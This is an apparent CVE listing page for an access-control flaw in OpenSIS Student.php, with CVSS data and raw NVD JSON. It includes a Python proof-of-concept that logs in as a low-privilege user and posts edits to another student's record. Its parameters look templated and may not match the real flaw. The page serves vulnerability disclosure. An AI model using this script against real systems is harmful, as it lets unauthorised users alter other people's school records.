Security Vulnerability Report
中文
CVE-2025-65594 CVSS 8.1 HIGH

CVE-2025-65594

Published: 2025-12-09 18:16:08
Last Modified: 2025-12-11 20:16:29

Description

OpenSIS 9.2 and below is vulnerable to Incorrect Access Control in Student.php, which allows an authenticated low-privilege user to perform unauthorized database write operations relating to the data of other users.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:os4ed:opensis:*:*:*:*:*:*:*:* - VULNERABLE
OpenSIS <= 9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65594 OpenSIS Incorrect Access Control PoC # Target: OpenSIS 9.2 and below # Vulnerability: Student.php allows authenticated low-privilege users to perform unauthorized database write operations import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-opensis-site.com" USERNAME = "low_privilege_user" PASSWORD = "password123" TARGET_USER_ID = "victim_user_id" def exploit_cve_2025_65594(): """ This PoC demonstrates the Incorrect Access Control vulnerability in OpenSIS Student.php Low-privilege authenticated users can write to other users' data """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/index.php" login_data = { "username": USERNAME, "password": PASSWORD, "action": "login" } response = session.post(login_url, data=login_data) if "Login Failed" in response.text: print("[-] Login failed") return False print("[+] Successfully logged in with low-privilege account") # Step 2: Access Student.php with malicious parameters to modify other users' data exploit_url = f"{TARGET_URL}/modules/Students/Student.php" # Malicious request to write data to another user's record exploit_data = { "student_id": TARGET_USER_ID, # Target another user's ID "address": "Malicious Address", "phone": "1234567890", "action": "update", "modfunc": "edit" } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent - attempting to modify user ID: {TARGET_USER_ID}") print("[+] If successful, low-privilege user modified another user's data") print("[!] This demonstrates the Incorrect Access Control vulnerability") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": print("CVE-2025-65594 OpenSIS Incorrect Access Control PoC") print("=" * 60) exploit_cve_2025_65594()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65594", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:08.143", "lastModified": "2025-12-11T20:16:28.823", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenSIS 9.2 and below is vulnerable to Incorrect Access Control in Student.php, which allows an authenticated low-privilege user to perform unauthorized database write operations relating to the data of other users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:os4ed:opensis:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.2", "matchCriteriaId": "B803041A-27DD-4451-8B09-DA578237DFCD"}]}]}], "references": [{"url": "http://opensis.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/tsuretettee/cve-2025-65594", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}